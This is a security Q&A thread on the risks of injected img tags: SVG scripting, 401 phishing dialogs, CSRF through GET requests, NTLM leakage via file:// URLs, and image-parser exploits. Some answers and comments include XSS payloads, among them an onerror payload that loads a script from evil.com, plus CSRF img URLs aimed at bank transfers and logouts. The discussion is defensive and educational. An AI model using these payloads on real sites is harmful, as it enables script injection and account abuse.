102

Most WAFs when blocking XSS will block obvious tags like script and iframe, but they don't block img.

Theoretically, you can img src='OFFSITE URL', but what's the worse that can happen? I know you can steal IPs with it, but is that it?

4
  • 2
    Example of what @grochmal means with the rendering libraries: you can attack some unpatched very old versions of Windows with the Metafile vulnerability present.
    – Pavel
    Commented Sep 1, 2016 at 10:50
  • 6
    <img src="yourbank.com/transfer-funds?from-account=12345&to-account=98765"> That will send a GET request to that domain, passing any cookies, like sessions, you have stored. If that works, it is mostly the fault of your bank, because those actions should not occur in a GET request.
    – Chloe
    Commented Sep 3, 2016 at 2:45
  • 2
    ^ Not really because they occur in a GET request. More like: because the bank website is vulnerable to CSRF attacks.
    – mak
    Commented Jan 14, 2020 at 5:28
  • From Stackoverflow: "<script> elements do work in SVG files but not when the SVG file is displayed as an image whether that is via the <img> element or as a CSS background-image." stackoverflow.com/a/23819045/1066234
    – Avatar
    Commented Feb 19, 2023 at 8:19

8 Answers 8

103

Like Anders says: Blender makes a very good point about authentications dialogs, and multithr3at3d is right about the on attributes. Moreover, Anders add argues about the a tag and Matija have a good link about exploiting libraries doing the rendering.

Yet, no one talked about SVG yet.

First of all let's assume that all input and output is properly sanitized so tricks with onerror/onload are not possible. And that we are not interested in CSRF. We are after XSS.

The first concern about <img src= is that it does not follow same origin policy. But that is probably less dangerous than it sounds.

What the browser does to render an < img > tag

< img src="http://domain/image.png" > is pretty safe because the browser will not invoke a parser (e.g. an XML or HTML parser), it knows that what will come is an image (gif, jpeg, png).

The browser will perform the HTTP request, and it will simply read the MIME of what came (in the Conetent-Type header, e.g. image/png). If the answer does not have a Content-Type several browsers will guess based on the extension, yet they will only guess image MIMEs: image/jpeg, image/png or image/gif (tiff, bmp and ppm are dubious, some browsers may have a limited support to guess them). Some browsers may even try to guess the image format based on magic numbers, but then again they will not try to guess esoteric formats.

If the browser can match the (possibly guessed) MIME it loads the correct rendering library, rendering libraries may have an overflow but that is another story. If the MIME does not match against an image rendering library the image is discarded. If the rendering library call fails the image is discarded as well.

The browser is never even close to an execution (script) context. Most browsers enter execution context only from the javascript parser, and they can only reach the javascript parser from the application/javascript MIME or from the XML or the HTML parsers (since they may have embedded scripts).

To perform XSS we need an execution context. Enters SVG.

Using < img src="domain/blah/blah/tricky.svg" >

Ouch, ouch ouch. SVG is an XML based vector graphic format, therefore it invokes the XML parser in the browser. Moreover SVG has the <script> tag! Yes, you can embed javascript directly into SVG.

This is not as dangerous as it sounds at first. Browsers that support SVG inside <img> tags do not support scripting inside the context. Ideally you should use SVG inside <embed> or <object> tags where scripting is supported by browsers. Yet, do not do it for user provided content!

I would argue that allowing SVG inside <img src= may be dangerous:

  • An XML parser is used to parse the SVG, whether it is inside the <img> or <object> tag. The parser is certainly tweaked with some parameters to ignore <script> tags in the <img> context. Yet, that is quite ugly, it is blacklisting a tag in a certain context. And blacklisting is poor security.

  • <script> is not the only way to achieve execution context in SVG, there are also the onmouseover (and family) events present in SVG. This is again tricky to blacklist.

  • The XML parser in browsers did suffer from problems in the past, notable with XML comments around script blocks. SVG may present similar problems.

  • SVG has full support for XML namespaces. Ouch again. xlink:href is a completely valid construct in SVG and the browser inside the XML parser context will likely follow it.

Therefore yes, SVG opens several possible vectors to achieve execution context. And moreover, it is a relatively new technology and therefore not well hardened. I would not be surprised to see CVEs on SVG handling. For example ImageMagick had problems with SVG.

9
  • This is one of the reasons why I subscribe to "deny all," and then some. :) Catches edge-cases like this. Commented Sep 1, 2016 at 21:16
  • Accepted because this seems like definitely the "worst" you can do with this XSS. Commented Sep 2, 2016 at 1:46
  • 4
    Why would a XML parser know how to interpret JavaScript or react to events? Does this assertion comes from personal experience in building browser or is it a wild guess on internal browser architecture that may or may not prove right? Commented Sep 5, 2016 at 9:40
  • 1
    Your last point about the xlink:href attribute is already covered by the specs, no external content can be loaded from an img content => xlink:href in an <img> tag can only reference inner resources.
    – Kaiido
    Commented Sep 5, 2016 at 10:47
  • 1
    @MatthieuM. - I mean blacklisting because the code we are parsing SVG => found <script> => execute exists, because it is a valid action inside <object>, it is only invalid inside <img>. And yes, most browsers used (still use?) the XML parser for XHTML, and then fallback to the HTML parser if that failed, which gave its own numbers of issues. Yet, in general, the point is that allowing an XML based format (that can perform scripting) inside <img> and just limiting it to not perform the scripting in this specific context is silly. Too many things can go wrong.
    – grochmal
    Commented Sep 5, 2016 at 23:41
116

Firefox (fixed in Nightly 59.0a1), Safari (fixed in Safari Technology Preview 54), Edge, and Internet Explorer display an authentication dialog if you request an image and the server asks that you authenticate with HTTP Basic authentication. This allows an attacker to display an authentication dialog when a user's browser tries to load the image:

  • Firefox. Fixed as of Nightly 59.0a1, but the warning present in latest stable release:

    Firefox displaying an "Authentication Required" dialog

  • Safari. Fixed as of Safari Technology Preview 54, but the modal is still present in the latest stable release. Note that it's a modal dialog and the rest of the website is grayed out. "Your login information will be sent securely" is also technically true but may give a careless user the wrong impression:

    Safari displaying a modal authentication dialog

  • IE11. A native Windows dialog locks up the whole browser:

    IE11 displaying a native dialog

If you make the realm a really long string of a\ta\ta\t...a\t, IE11 completely locks up.

A well-chosen domain name and realm can trick users into sending their usernames and passwords to an attacker's server, or make your website completely inaccessible.

7
  • Maybe. That's kind of in the same realm as someone mistyping the domain name and winding up the bad guy's server anyway. Commented Sep 1, 2016 at 20:40
  • 16
    This is called a 401 phishing attack.
    – Xander
    Commented Sep 1, 2016 at 22:17
  • 6
    @Xander any reference? A simple google search 401 phishing attack doesn't return any good info.
    – HamZa
    Commented Sep 3, 2016 at 22:06
  • 1
    @HamZa Use "401 phishing" (in quotes) instead. A number of the older (online) references seem to have disappeared over the years, but there are still a number of newer references left. You can of course still find it in the print literature as well, though I don't have a reference offhand.
    – Xander
    Commented Jan 4, 2018 at 1:39
  • I found this kind of bug/phishing attack on google.com domain and they told me they don't consider it a security bug. Commented Jan 5, 2018 at 15:37
51

<img src=http://evil.com is not too much of an issue, but <img src=a onerror=alert('XSS')> can be used to inject any arbitrary JavaScript. In fact, any HTML tag combined with any "on" event attribute (E.g. onerror, onclick, ontouchstart etc.) can be used to run unrestricted JavaScript payloads.

8
  • 12
    A CSP stops this dead, highly recommended to take the time to create one...
    – dandavis
    Commented Sep 1, 2016 at 10:49
  • 6
    Why not <img src="img.com/realimage.gif" onload=JavaScript>? A 404 error could attract attention from site admins. Wouldn't this be a better idea if you are doing things discretely.
    – user115400
    Commented Sep 1, 2016 at 11:16
  • 3
    @dandavis Could you clarify CSP for me? Not getting promising results from Google.
    – Pysis
    Commented Sep 1, 2016 at 14:48
  • 8
    @Pysis Content Security Policy, see developer.mozilla.org/en-US/docs/Web/Security/CSP/… Commented Sep 1, 2016 at 14:57
  • 13
    @DmitryGrigoryev: <img src=a onerror="x=document.createElement('script');x.src='https://evil.com/really_evil.js';document.body.appendChild(x)" />
    – Blender
    Commented Sep 1, 2016 at 16:06
42

Okay, how about this: (You should probably stand back.)

<img src="file://uhoh.gif”>

Oh I know, right? What a monster!

Well it could be, if you are using SMB...

It's a bug that has been around for 18 YEARS! See this vulnerability report from 1997. Here is the same vulnerability at BlackHat, in 2015.

This affects Internet Explorer, including Microsoft Edge. It should be noted that this does not affect Chrome or Mozilla browsers. IE attempts to auto-authenticate to the attacker's website, passing username and hashed NTLM password to the remote server, and yes even over the internet (!!).

I therefore conclude that absolutely no one should be using an IMG tag, ever.

Yes, but is it XSS? No, it does not necessarily launch or constitute an XSS attack, that I am aware of. Although it may be launched from one, it is not a requirement. Does cross-network count?

6
  • 3
    Wow, that's definitely not something that I would have expected IE to do by default.
    – Blender
    Commented Sep 1, 2016 at 9:23
  • 3
    Could you explain what the bug is?
    – Sjoerd
    Commented Sep 2, 2016 at 7:43
  • 11
    @Sjoerd In short, if you use a file://hackersRus.org/file URL, for anything really, IE will try to get the file using Windows file sharing (SMB). This sends login name and hashed password to the hackers machine. The hackers can then use those to attack back. Commented Sep 2, 2016 at 8:48
  • Has it been fixed by Microsoft? Commented Aug 25, 2017 at 7:47
  • 1
    @StigHemmer Fun fact: this is also a way to bypass local proxies and network-level sandboxing.
    – forest
    Commented Apr 22, 2018 at 7:19
20

The D's answer points out that a GET can be used to issue commands both cross site and on the same site. I want to expand on that notion because saying "It's a GET request - be careful" doesn't usually manage to convey why that might be a problem.

One attack that can be done that other answers have not covered is denial of service. Consider the following:

You are on a forum, and somebody posts a message which has an embedded <img src="/logout" /> - this leads to everyone being logged out when the image gets loaded. Now, none of the users can use the forum, as long as they see that page.

This is a relatively trivial example, but nonetheless it's a potential problem. To show how it could be more of a problem, imagine it's some sort of news site or other that displays user comments on the main page and after login, you are redirected there. Now nobody can ever login without being logged out immediately.

So far, these are not cross site attacks. They can relatively simply be turned into that, though - imagine if Facebook or another popular website allows arbitrary source for images and you post the following <img src="http://yourdomain.com/logout" /> - people will be logged out without even having to be on yourdomain.com. This can range from annoying ("Ugh, the website asks for my password again") to potentially problematic ("Wait, where did all my unsaved work go?").

It's entirely possible that it's not even logout that the image targets - what if it's http://yourdomain.com/deleteMyUser which makes users "leave" the website without their agreement? Or maybe the more plausible http://yourdomain.com/findPrimes?count=9001 which will eventually overload your server to do heavy calculations?

What I find most irritating about this sort of attack is that it's not even a problem with img tags themselves - even if your webapp is careful with images, somebody else's might not be. The core of the problem is that the logout link (or whatever resource an attacker might exploit) can just be invoked via GET and the image is merely vector to make browsers issue that GET. Trouble is that it's entirely not obvious to a lot of developers that is the case.

6
  • 6
    if you're curious just how many sites have insecure logouts (vulnerable to CSRF), see superlogout.com but beware it STARTS IMMEDIATELY.
    – Shelvacu
    Commented Sep 3, 2016 at 23:23
  • @shelvacu Wow, it just logged my incognito window out of about 30 sites I don't have an account on!
    – Michael
    Commented Sep 4, 2016 at 15:47
  • 1
    @Michael Because of CORS it can't know whether or not you were logged in in the first place, but it does know when the request finishes.
    – Shelvacu
    Commented Sep 4, 2016 at 16:16
  • Said this below, but it applies to this answer as well: Since 2018 all Chromium-based browsers have implemented Cross-Origin Read Blocking (CORB), which blocks GET requests if they appear to be malicious (for example, trying to GET a logout page from an IMG tag)
    – Ecksters
    Commented Oct 14, 2020 at 20:24
  • @Ecksters that only applies to some of the potential problems - you should still be able to add an "image" that logs out from the current page.
    – VLAZ
    Commented Oct 14, 2020 at 20:26
18

I think by "img XSS" you mean "site that allows arbitrary values for the src="" attribute of <img /> elements".

...in which case the main risk is of Cross Site Request Forgery (CSRF) as it means an attacker can make a target make an arbitrary GET request, the canonical example being the "poorly-coded bank website makes money transfers using GET requests"-vulnerability.

However it does not necessarily have to be a Cross Site Request Forgery - I imagine the main type of site that allows for user-supplied <img /> elements is a web-forum - and web-forums tend to have admin control panels in the same website - so if any "useful" admin or moderator actions could be invoked via GET then that is another possibility - but this still falls under the CSRF umbrella.

4
  • 2
    related: this is the reason to demand POST over GET on anything important.
    – dandavis
    Commented Sep 1, 2016 at 10:44
  • 3
    @dandavis POST over GET, while correct, is trivial to bypass and is not a true mitigation. What you need, of course, is either form tokens or selective reauthentication.
    – AviD
    Commented Sep 2, 2016 at 11:57
  • 3
    how can one perform a POST from an IMG tag vulnerability?
    – dandavis
    Commented Sep 2, 2016 at 22:40
  • It's worth mentioning that since 2018 all Chromium-based browsers have implemented Cross-Origin Read Blocking (CORB), which blocks GET requests if they appear to be malicious (for example, trying to GET a logout page from an IMG tag)
    – Ecksters
    Commented Oct 14, 2020 at 20:18
8

In addition to what all other answers already mentioned, image itself might be deliberately modified in such a way that parsing it exploits user machine and thus allow remote code execution, see Can simply decompressing a JPEG image trigger an exploit?

1
  • 1
    Yes. Image processing library bugs come out of the woodwork now and then, and while they are very platform and setup dependent, the "worst you can do" is pretty drastic with these. Commented Sep 1, 2016 at 10:38
7

Blender makes a very good point about authentications dialogs, and korockinout13 is right about the on attributes. I have one addition, though.

In some situations you can use control of images to change the layout of the page, and faking parts of the page. It is not very powerful since I can't do anything dynamic, but it can be used in clever ways sometimes.

For example, if I can insert an img tag in the search result page by searching for one, I could have an image with fake search results in it included. That way I could make it look like a search for "UFO" on the local news returns stories about the great alien landing of 2016.

If the vulnerability is inside an a tag that performs an action, I could insert an image mimicing other parts of the page. That way, when the user clicks "OK" she is actually clicking on my image that contains a depiction of a fake "OK" button, but is actually part of the "Delete" link.

If I can create my own links with images in them, this gets even better...

As I said, not the most powerful hack in the world, but reason enough not to allow images where they are not needed.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .